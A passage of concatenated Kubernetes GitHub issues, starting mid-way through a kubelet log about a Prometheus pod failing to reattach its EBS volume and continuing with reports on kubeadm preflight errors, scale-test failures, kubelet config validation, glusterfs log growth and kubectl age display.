containerstatuses:   container.containerstatus{  container.containerstatus  0xc420775960 }, sandboxstatuses:   runtime.podsandboxstatus{  runtime.podsandboxstatus  0xc420f9abe0 }}  err: <nil> \r i0623 10:46:20.762366   21516 kubelet.go:1808  syncloop  add, \ api\  : \ kube-proxy-ip-10-16-6-103.eu-west-1.compute.internal_kube-system 07682bb3-57f1-11e7-92e1-02168057f226 , streamssql-2053151256-tkphf_uat 4572a9de-57ff-11e7-bc44-0a851b7f13b8 , node-exporter-p82dw_kube-system 047f3e44-57f1-11e7-aca7-0649e76e82e2 , prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 , kube-flannel-ds-m12t3_kube-system 047f2b61-57f1-11e7-aca7-0649e76e82e2 \ \r i0623 10:46:20.763495   21516 kubelet_pods.go:1168  generating status for \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:20.764151   21516 status_manager.go:340  status manager: adding pod: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , with status:  '\\x01', {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-23 10:10:25 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-23 10:10:25 +0000 utc containersnotready containers with unready status:  prometheus } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-23 10:10:25 +0000 utc  }    10.16.6.103  2017-06-23 10:10:25 +0000 utc     {prometheus {nil nil &containerstateterminated{exitcode:0,signal:0,reason:,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:1754-08-30 22:43:41 +0000 utc,containerid:docker://3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f,}} {nil nil nil} false 0 quay.io/prometheus/prometheus:v1.7.1 docker-pullable://quay.io/prometheus/prometheus@sha256:8bd6697df76f17355ae8ba603e92cb59e0f1262e6e92530505d9fe2dfbba58e3 docker://3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f}  besteffort}  to podstatuschannel\r i0623 10:46:20.764598   21516 volume_manager.go:344  waiting for volumes to attach and mount for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:20.765142   21516 kubelet.go:1842  syncloop  pleg : \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ , event: &pleg.podlifecycleevent{id:\ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , type:\ containerdied\ , data:\ 6380a3223c07091bf6d22a3d6321486969af2208c684822548a80b652b9a123b\ }\r i0623 10:46:20.794949   21516 reconciler.go:478  reconciler sync states: could not find pod information in desired or actual states or pending operation, update it in both states: &{volumename:kubernetes.io/aws-ebs/aws://eu-west-1b/vol-002cbcd445e487777 podname:2cd0250c-57fc-11e7-bc44-0a851b7f13b8 volumespec:0xc420fbdfe0 outervolumespecname:pvc-843d6a31-4c70-11e7-90a6-027c144c64ae pod:0xc42172e900 pluginisattachable:true volumegidvalue: devicepath: reportedinuse:false mounter:0xc4217306f0}\r i0623 10:46:20.797310   21516 status_manager.go:147  status manager: syncing pod: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , with status:  1, {running  {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-23 10:10:25 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-23 10:10:25 +0000 utc containersnotready containers with unready status:  prometheus } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-23 10:10:25 +0000 utc  }    10.16.6.103  2017-06-23 10:10:25 +0000 utc     {prometheus {nil nil &containerstateterminated{exitcode:0,signal:0,reason:,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:1754-08-30 22:43:41 +0000 utc,containerid:docker://3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f,}} {nil nil nil} false 0 quay.io/prometheus/prometheus:v1.7.1 docker-pullable://quay.io/prometheus/prometheus@sha256:8bd6697df76f17355ae8ba603e92cb59e0f1262e6e92530505d9fe2dfbba58e3 docker://3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f}  besteffort}  from podstatuschannel\r i0623 10:46:20.952350   21516 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/configmap/2cd0250c-57fc-11e7-bc44-0a851b7f13b8-config-volume\   spec.name: \ config-volume\   pod \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\   uid: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\  \r i0623 10:46:20.952752   21516 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/secret/2cd0250c-57fc-11e7-bc44-0a851b7f13b8-prometheus-token-nznv5\   spec.name: \ prometheus-token-nznv5\   pod \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\   uid: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\  \r i0623 10:46:21.049841   21516 status_manager.go:444  status for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \  updated successfully: {status:{phase:running conditions: {type:initialized status:true lastprobetime:{time:{sec:0 nsec:0 loc:0x6c71580}} lasttransitiontime:{time:{sec:63633809425 nsec:0 loc:0x6c71580}} reason: message:} {type:ready status:false lastprobetime:{time:{sec:0 nsec:0 loc:0x6c71580}} lasttransitiontime:{time:{sec:63633809425 nsec:0 loc:0x6c71580}} reason:containersnotready message:containers with unready status:  prometheus } {type:podscheduled status:true lastprobetime:{time:{sec:0 nsec:0 loc:0x6c71580}} lasttransitiontime:{time:{sec:63633809425 nsec:0 loc:0x6c71580}} reason: message:}  message: reason: hostip:10.16.6.103 podip: starttime:0xc421230540 initcontainerstatuses:   containerstatuses: {name:prometheus state:{waiting:<nil> running:<nil> terminated:0xc420ee61c0} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:quay.io/prometheus/prometheus:v1.7.1 imageid:docker-pullable://quay.io/prometheus/prometheus@sha256:8bd6697df76f17355ae8ba603e92cb59e0f1262e6e92530505d9fe2dfbba58e3 containerid:docker://3726dff4e1902659e8b6e0c565b9166708b9f7e325c3fe4ca363965bbc5d1f1f}  qosclass:besteffort} version:1 podname:prometheus-4088412010-bk19v podnamespace:kube-system}\r i0623 10:46:21.053616   21516 reconciler.go:307  mountvolume operation started for volume \ kubernetes.io/secret/2cd0250c-57fc-11e7-bc44-0a851b7f13b8-prometheus-token-nznv5\   spec.name: \ prometheus-token-nznv5\   to pod \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\   uid: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\  . \r i0623 10:46:21.058488   21516 reconciler.go:307  mountvolume operation started for volume \ kubernetes.io/configmap/2cd0250c-57fc-11e7-bc44-0a851b7f13b8-config-volume\   spec.name: \ config-volume\   to pod \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\   uid: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\  . \r i0623 10:46:21.058673   21516 secret.go:186  setting up volume prometheus-token-nznv5 for pod 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 at /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5\r i0623 10:46:21.058768   21516 nsenter_mount.go:183  findmnt command: nsenter  --mount=/rootfs/proc/1/ns/mnt -- /bin/findmnt -o target,fstype --noheadings --first-only --target /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5 \r i0623 10:46:21.059322   21516 configmap.go:166  setting up volume config-volume for pod 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 at /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume\r i0623 10:46:21.059418   21516 nsenter_mount.go:183  findmnt command: nsenter  --mount=/rootfs/proc/1/ns/mnt -- /bin/findmnt -o target,fstype --noheadings --first-only --target /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume \r i0623 10:46:21.072557   21516 nsenter_mount.go:196  islikelynotmountpoint findmnt output for path /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5: /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5:\r i0623 10:46:21.072769   21516 nsenter_mount.go:199  islikelynotmountpoint: /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5 is a mount point\r i0623 10:46:21.076161   21516 nsenter_mount.go:196  islikelynotmountpoint findmnt output for path /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume: /var/lib/kubelet:\r i0623 10:46:21.076182   21516 nsenter_mount.go:202  islikelynotmountpoint: /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume is not a mount point\r i0623 10:46:22.051835   21516 atomic_writer.go:333  /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5: current paths:    ca.crt namespace token \r i0623 10:46:22.051845   21516 atomic_writer.go:345  /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5: new paths:        ca.crt namespace token \r i0623 10:46:22.051850   21516 atomic_writer.go:348  /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5: paths to remove: map  \r i0623 10:46:22.051895   21516 atomic_writer.go:142  pod kube-system/prometheus-4088412010-bk19v volume prometheus-token-nznv5: no update required for target directory /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~secret/prometheus-token-nznv5\r i0623 10:46:22.051910   21516 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/2cd0250c-57fc-11e7-bc44-0a851b7f13b8-prometheus-token-nznv5\   spec.name: \ prometheus-token-nznv5\   pod \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\   uid: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\  .\r i0623 10:46:22.453220   21516 atomic_writer.go:333  /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume: current paths:    prometheus.yml recorder.rules \r i0623 10:46:22.453239   21516 atomic_writer.go:345  /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume: new paths:        prometheus.yml recorder.rules \r i0623 10:46:22.453248   21516 atomic_writer.go:348  /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume: paths to remove: map  \r i0623 10:46:22.453348   21516 atomic_writer.go:142  pod kube-system/prometheus-4088412010-bk19v volume config-volume: no update required for target directory /var/lib/kubelet/pods/2cd0250c-57fc-11e7-bc44-0a851b7f13b8/volumes/kubernetes.io~configmap/config-volume\r i0623 10:46:22.453408   21516 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/2cd0250c-57fc-11e7-bc44-0a851b7f13b8-config-volume\   spec.name: \ config-volume\   pod \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\   uid: \ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\  .\r i0623 10:46:22.564798   21516 volume_manager.go:373  all volumes are attached and mounted for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:22.564819   21516 kuberuntime_manager.go:429  syncing pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ : &pod{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:prometheus-4088412010-bk19v,generatename:prometheus-4088412010-,namespace:kube-system,selflink:/api/v1/namespaces/kube-system/pods/prometheus-4088412010-bk19v,uid:2cd0250c-57fc-11e7-bc44-0a851b7f13b8,resourceversion:11256345,generation:0,creationtimestamp:2017-06-23 10:10:25.330303447 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{app: prometheus,pod-template-hash: 4088412010,},annotations:map string string{kubernetes.io/config.seen: 2017-06-23t10:46:15.73458149z,kubernetes.io/config.source: api,kubernetes.io/created-by: {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ prometheus-4088412010\ ,\ uid\ :\ 2ccd6bf2-57fc-11e7-bc44-0a851b7f13b8\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 11250428\ }}\r i0623 10:46:22.565159   21516 kuberuntime_manager.go:384  no ready sandbox for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \  can be found. need to start a new one\r i0623 10:46:22.565222   21516 kuberuntime_manager.go:549  computepodcontainerchanges got {createsandbox:true sandboxid:6380a3223c07091bf6d22a3d6321486969af2208c684822548a80b652b9a123b attempt:1 containerstostart:map 0:container {name:prometheus image:quay.io/prometheus/prometheus:v1.7.1 command:   args: -storage.local.retention=360h0m0s -storage.local.memory-chunks=500000 -config.file=/etc/prometheus/prometheus.yml  workingdir: ports: {name:web hostport:0 containerport:9090 protocol:tcp hostip:}  envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:config-volume readonly:false mountpath:/etc/prometheus subpath:} {name:data-volume readonly:false mountpath:/prometheus subpath:} {name:prometheus-token-nznv5 readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.  containerstokeep:map   containerstokill:map   initfailed:false initcontainerstokeep:map  } for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:22.565287   21516 kuberuntime_manager.go:567  stopping podsandbox for \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ , will start new one\r i0623 10:46:22.565481   21516 server.go:345  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ prometheus-4088412010-bk19v\ , uid:\ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , apiversion:\ v1\ , resourceversion:\ 11256345\ , fieldpath:\ \ } : type: 'normal' reason: 'sandboxchanged' pod sandbox changed, it will be killed and re-created.\r i0623 10:46:22.575595   21516 kuberuntime_manager.go:613  creating sandbox for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:22.728498   21516 manager.go:898  added container: \ /kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod2cd0250c_57fc_11e7_bc44_0a851b7f13b8.slice/docker-86133fcbc72cc722312b0cdbac04ea4482f65dc2b232623a8d9d03d658a18e36.scope\   aliases:  k8s_pod_prometheus-4088412010-bk19v_kube-system_2cd0250c-57fc-11e7-bc44-0a851b7f13b8_1 86133fcbc72cc722312b0cdbac04ea4482f65dc2b232623a8d9d03d658a18e36 , namespace: \ docker\  \r i0623 10:46:22.770360   21516 kuberuntime_manager.go:622  created podsandbox \ 86133fcbc72cc722312b0cdbac04ea4482f65dc2b232623a8d9d03d658a18e36\  for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \ \r i0623 10:46:22.774994   21516 kuberuntime_manager.go:636  determined the ip \ 10.244.7.2\  for pod \ prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \  after sandbox changed\r i0623 10:46:22.775143   21516 kuberuntime_manager.go:716  creating container &container{name:prometheus,image:quay.io/prometheus/prometheus:v1.7.1,command:  ,args: -storage.local.retention=360h0m0s -storage.local.memory-chunks=500000 -config.file=/etc/prometheus/prometheus.yml ,workingdir:,ports: {web 0 9090 tcp } ,env:  ,resources:resourcerequirements{limits:resourcelist{},requests:resourcelist{},},volumemounts: {config-volume false /etc/prometheus } {data-volume false /prometheus } {prometheus-token-nznv5 true /var/run/secrets/kubernetes.io/serviceaccount } ,livenessprobe:nil,readinessprobe:nil,lifecycle:nil,terminationmessagepath:/dev/termination-log,imagepullpolicy:ifnotpresent,securitycontext:nil,stdin:false,stdinonce:false,tty:false,envfrom:  ,terminationmessagepolicy:file,} in pod prometheus-4088412010-bk19v_kube-system 2cd0250c-57fc-11e7-bc44-0a851b7f13b8 \r i0623 10:46:22.776686   21516 kuberuntime_container.go:66  generating ref for container prometheus: &v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ prometheus-4088412010-bk19v\ , uid:\ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , apiversion:\ v1\ , resourceversion:\ 11256345\ , fieldpath:\ spec.containers{prometheus}\ }\r i0623 10:46:22.777043   21516 server.go:345  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ prometheus-4088412010-bk19v\ , uid:\ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , apiversion:\ v1\ , resourceversion:\ 11256345\ , fieldpath:\ spec.containers{prometheus}\ } : type: 'normal' reason: 'pulled' container image \ quay.io/prometheus/prometheus:v1.7.1\  already present on machine\r i0623 10:46:22.812142   21516 server.go:345  event v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ prometheus-4088412010-bk19v\ , uid:\ 2cd0250c-57fc-11e7-bc44-0a851b7f13b8\ , apiversion:\ v1\ , resourceversion:\ 11256345\ , fieldpath:\ spec.containers{prometheus}\ } : type: 'normal' reason: 'created' created container with id ba44ac887b2bb03035260413d8a37f1b0b9452fca055be44dfc220940a5ecb18\r ~~~\r \r   what you expected to happen  :\r pod should re-attach to the storage and successfully start up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i create a pvc for a prometheus pod: -\r ~~~\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: gp2\r   annotations:\r     storageclass.kubernetes.io/is-default-class: \ true\ \r   labels:\r     addonmanager.kubernetes.io/mode: ensureexists\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   type: gp2\r \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: k8smetrics-prometheus\r   namespace: kube-system\r   labels:\r     addonmanager.kubernetes.io/mode: ensureexists\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 100gi\r   storageclassname: gp2\r \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: prometheus\r   namespace: kube-system\r   labels:\r     addonmanager.kubernetes.io/mode: ensureexists\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: prometheus\r   template:\r     metadata:\r       name: prometheus\r       labels:\r         app: prometheus\r     spec:\r       serviceaccountname: prometheus\r       containers:\r       - name: prometheus\r         image: quay.io/prometheus/prometheus:v1.7.1\r         args:\r           - '-storage.local.retention=360h0m0s'\r           - '-storage.local.memory-chunks=500000'\r           - '-config.file=/etc/prometheus/prometheus.yml'\r         ports:\r         - name: web\r           containerport: 9090\r         volumemounts:\r         - name: config-volume\r           mountpath: /etc/prometheus\r         - name: data-volume\r           mountpath: /prometheus\r       volumes:\r       - name: config-volume\r         configmap:\r           name: prometheus\r       - name: data-volume\r         persistentvolumeclaim:\r           claimname: k8smetrics-prometheus\r ~~~\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1409.5.0\r version_id=1409.5.0\r build_id=2017-06-22-2222\r pretty_name=\ container linux by coreos 1409.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  : linux ip-10-16-5-136.eu-west-1.compute.internal 4.11.6-coreos-r1  1 smp thu jun 22 22:04:38 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux\r - install tools: roll your own\r - others:\r \r \r @kubernetes/sig-aws\r @kubernetes/sig-storage

the following that have been consistently failing on our 5k-node tests  https://k8s-testgrid.appspot.com/google-gce-scale gce-scale-correctness :\r - esipp  slow  should handle updates to externaltrafficpolicy field\r - esipp  slow  should only target nodes with endpoints\r - esipp  slow  should work for type=loadbalancer\r - esipp  slow  should work from pods\r - services should be able to create an internal type load balancer  slow \r - services should only allow access from service loadbalancer source ranges  slow \r \r this is part of the correctness suite and large cluster tests are release-blocking.\r \r cc @kubernetes/sig-network-bugs @kubernetes/sig-scalability-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r installed kubeadm by following the guide \r https://kubernetes.io/docs/setup/independent/install-kubeadm/ master-nodes\r \r   what you expected to happen  :\r  kubeadm init  would work\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apt-get update\r apt-get install -y docker.io\r sudo usermod -a -g docker vagrant\r \r apt-get update && apt-get install -y apt-transport-https\r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof >/etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial main\r eof\r apt-get update\r apt-get install -y kubelet kubeadm kubectl\r    \r \r then\r \r    \r vagrant@vagrant:~$ sudo kubeadm init\r  init  using kubernetes version: v1.9.0\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning fileexisting-crictl : crictl not found in system path\r  preflight  some fatal errors occurred:\r \t error swap : running with swap on is not supported. please disable swap\r  preflight  if you know what you are doing, you can make a check non-fatal with  --ignore-preflight-errors=... \r vagrant@vagrant:~$ sudo kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r also cannot install with  apt :\r \r    \r vagrant@vagrant:~$ sudo apt install crictl\r reading package lists... done\r building dependency tree\r reading state information... done\r e: unable to locate package crictl\r    \r \r   anything else we need to know?  :\r also reported on stack overflow: https://stackoverflow.com/questions/47908384/kubernetes1-9-0-kubeadm-init-crictl-not-found-in-system-path\r \r   environment  :\r - kubernetes version  use  kubectl version  : see above\r - cloud provider or hardware configuration: vagrant, virtualbox, bento/ubuntu-16.04\r - os  e.g. from /etc/os-release : bento/ubuntu-16.04\r - kernel  e.g.  uname -a  : linux vagrant 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: vagrant?\r - others:\r

in 1.9 vsphere cloud provider creates a new  vsphere-cloud-provider  client, new shared informer factory and lists nodes  here  https://github.com/kubernetes/kubernetes/blob/2f4cca73af088a0547feeab75c8dc3fb92fde6b6/pkg/cloudprovider/providers/vsphere/vsphere.go l221 \r \r \r imo, the cloud provider should not create it's own client at all. gce uses  setinformer interface  https://github.com/kubernetes/kubernetes/blob/2f4cca73af088a0547feeab75c8dc3fb92fde6b6/pkg/cloudprovider/providers/gce/gce.go l658 , called by controller-manager to initialize the cloud provider. this way, gce does not need extra policy and it shares the informer with all the controllers.  setinformer  is called only in controller-manager process, i.e. for provisioning and attach/detach. do you need the informer really in kubelet and/or api server? it's quite odd to list all nodes there.\r \r    @kubernetes/vmware \r @kerneltime @divyenpatel @baludontu \r

the upcoming dynamic configuration for kubelet and also the transition to config files instead of flags increases the need for an administrator to be able to \ test\  or \ check\  that the configuration is valid before starting a process.  this is a common behavior for daemons with large or complex configuration  which the kubelet considers  - administrators often want to validate or verify their local action before starting the process.  in addition, scripting tools might use this before automatically updating components.\r \r as a small, minimal increment to reduce the pain of transitioning from flags to config, we should add  --check  or  --test   similar to apache's  -t   to the core binaries that checks the input configuration and returns exit code  0  if the configuration is valid or  1  if the configuration is invalid.\r \r worked example:\r \r 1. an administrator is converting their flags to kubelet configuration files\r 2. they leave their kubelet running and create the new config file\r 3. to verify their new config works, they pass  kubelet --config=... --check  as they iterate.\r \r there have been requests like this before but i'm having trouble finding the issues.  this is a common operational headache that is fairly easy to add with minimal cost  we already invoke validation in most processes .\r \r @kubernetes/sig-cluster-lifecycle-feature-requests

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r when a pod start and need to mount a gluster volume, a log file will be created to record the errors in glusterfs mount. the log path is at \t/var/lib/kubelet/plugins/kubernetes.io/glusterfs/ volname / podname -glusterfs.log\r \r we encounter a scenario that pod mount glusterfs always failed since the glusterfs server is unreachable for a long time. finally the log file become quite large,as bellow. \r ! image  https://user-images.githubusercontent.com/25921749/44841299-9ffb5580-ac75-11e8-825e-306161cdbca4.png \r \r when could these log files be cleaned up without manual deletion?\r \r   what you expected to happen  :\r \r i consider if we should remove the log file after every mount whether mount failed or successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r 1  add metrics into kubelet to monitor  kubelet http server  https://github.com/kubernetes/kubernetes/blob/e330c0120eed4871d518522b3f5c049c36a92464/pkg/kubelet/server/server.go l83 ;\r 2  add throttling to  kubelet http server  https://github.com/kubernetes/kubernetes/blob/e330c0120eed4871d518522b3f5c049c36a92464/pkg/kubelet/server/server.go l83 . \r \r   why is this needed  :\r kubelet provides lots of its functionalities through its http server, and currently there is no server-side monitoring and throttling mechanisms. \r adding metrics into kubelet to monitor its http server will improve its observability and debuggability; adding throttling will prevent kubelet being overloaded from serving too many http requests.\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gci-gce-scalability\r \r   which test s  are failing  :\r density test\r \r   since when has it been failing  :\r run 23995\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-scalability-gce gci-gce-scalability\r \r   reason for failure  :\r api server cpu usage is over 2.2cpu limit.\r \r   anything else we need to know  :\r

in  22893 we noticed that our yaml's resource requirements for addons don't match the  best practices  http://kubernetes.io/docs/user-guide/config-best-practices/ . it seems  18216 added requests to all addons.  we'll also want to change the addon-resizer's behavior to understand this. currently it would update the deployment so that requests = limits if requests is unspecified.

what   kubectl  should calculate the  age  as the time elapsed in the current state  e.g.  running ,  containercreating ,  terminating , etc     why   imo  confusing ux: hard to tell if something is \ stuck\  if it's always outputting the total elapsed time. e.g. i thought this container was stuck in a  terminating  state.     example  ! image  https://cloud.githubusercontent.com/assets/52489/16435045/2a5b50d0-3d48-11e6-9add-b4a100c50ee8.png   seeing this output, makes it appear that  edge-router-3200655793-lia0z  has been terminating for one day! in fact, it's been running for  1d  but been terminating for less than  1m

forked from https://github.com/kubernetes/kubernetes/issues/23653.  @colhom  is working on this. assigning it to him.  cc @kubernetes/sig-cluster-federation

